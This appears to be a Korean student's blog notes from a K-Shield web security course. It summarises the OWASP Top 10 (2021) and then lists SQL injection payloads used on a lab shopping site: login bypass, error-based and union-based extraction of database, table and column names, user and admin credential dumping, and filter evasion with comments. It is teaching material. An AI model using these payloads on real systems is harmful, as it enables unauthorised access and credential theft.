오프라인 5일차 (웹 서비스 기반 주요 위협)

2022. 7. 11. 17:37보안/케이쉴드

반응형

웹 해킹

> 웹 서비스를 대상으로 발생하는 해킹

웹 사이트 취약점을 이용하여 권한이 없는 시스템에 접근하거나 데이터 유출 및 파괴를 

OWASP 

웹에 관한 보안 프로젝트를 진행 1~10위  (약 4년 주기)

2021년 ver

 

new! 

SSRF

안전하지 않은 설계

소프트웨어 데이터 무결성 오류

 

xss> 인젝션에 통합됨

 

1위 취약한 접근 통제

사용자 접근제어가 제대로 인증되지 않을경우 

다른 사용자의 계정 및 데이터에 접근해 중요한 파일 열람 및 접근 권한 수정

 

2위 암호화 오류

민감 데이터 노출 원인이 암호화 실패라고 분석되어 명칭이 변함

 

3위 인젝션

xss, sql, os, xxe, ldap 인젝션 등 신뢰할 수 없는 데이터가 전달될 때 나타나는 취약점

악의적인 데이터 주입으로 인해 공격자가 명령 실핼

 

4위 안전하지 않은 설계

위렵 모델링, 보안 설계의 중요성을 강조

설계과정에서 고려

 

5위 보안 구성 오류

불필요한 기능 활성화 및 설치, 상세한 오류메시지 노출, 최신 보안기능 비활성화 등으로 발생

 

6위 취약하고 오래된 컴포넌트

관리되지 않은 타사 구성요소를 사용하거나 사용중인 구성요소의 버젼을 모를때 발생

라이브러리, 컴포넌트 등의 문제

 

7위 식별 및 인증 오류

 

8위 무결성 오류

 

9위 보안 로깅과 모니터링 오류

 

10위 서버측 요청 위조

 

 

 

 

 

GET =url 에 보임

POST = body , url 안보임

파라미터 가 핵심!

 

 

입력 가능한 곳에 ' 를 넣어봐서 취약점이 존재하는지 확인

점검대상

로그인창, 비번입력창

검색창

탑뷰

회원가입

주소찾기 등등 파라미터가 들어가는 모든곳을 점검해보기!

 

 

 

 

 

 

1. 인증 우회

'or 1=1 --

 

2. 데이터 추출

-sql injection

=Error-Based

-DB 이름

= 'and db_name() > 1  --

> oyesmall

-TABLE 이름 (어디에 입력하냐에 따라 결과가 다름)

= 'having 1=1 -- (GROUP BY 절과 사용하지 않아 에러 발생)

>계정 정보 테이블 = Members.num

-Columns들

 = ' group by  (num) -- >>>num의 다음 컬럼

 = ' group by  num, user_id  -- >>>user_id  의 다음 컬럼

 

결론

DB 이름 : oyesmall

계정 테이블 : Members

컬럼 : num, user_id, passwd

 

에러베이스

 

아이디 찾아보기

구문예시

'or 1 in (select user_id from members where num

1. oyes

2. bisang2da

3. kisec

4. kisectest

5. rnrneks

 

HINT )

'or 1 in (select user_id from members where user_id not in ('oyes', '???') --

 

 

 

Members 테이블의 행 개수 - 

HINT) 

count(*), cast

' or 1 in (select 'a' + cast(count(*) as varchar(100)) from members) --

 

 

 

 

=Union을 이용한 sql injection 

Union은 동일한 식의 갯수가 있어야 한다

select user_id, passwd from table where user_id = ' ' ....이런식의 질의 앞부분을

' union select 1, 2, ... -- 로 몇가지를 앞에서 물어봤는지 알 수 있다. 

 

그다음숫자를 실제 존재하는 컬럼으로 대체하여 검색하면! 해결

 

~~~ from information_schema.tables -- 

 

ex

[테이블 이름 뽑아내기]

'union select 1,2,3,4, table_name from information_schema.tables --

[특정 태이블 내 컬럼 이름 뽑아내기]

' union select 1,2,3,4, (colum_name) from information_schema.columns where table_name = 'members' --

 

[계정 id pw 뽑기]

' union select 1,2,3, user_id , passwd from members --

 

[관리자 페이지 로그인]

' union select 1,2,3, adminid, adminpwd from admin_tb --

 

[그냥 간단 우회]

글자수 제한 > 크롬에서 최대 글자수 늘리고 작성

 

[공백 삭제 우회]

' union select /**/  1,2,3,4,5 --   

주석으로 공백 넣음 

 

 

=Blind

반응형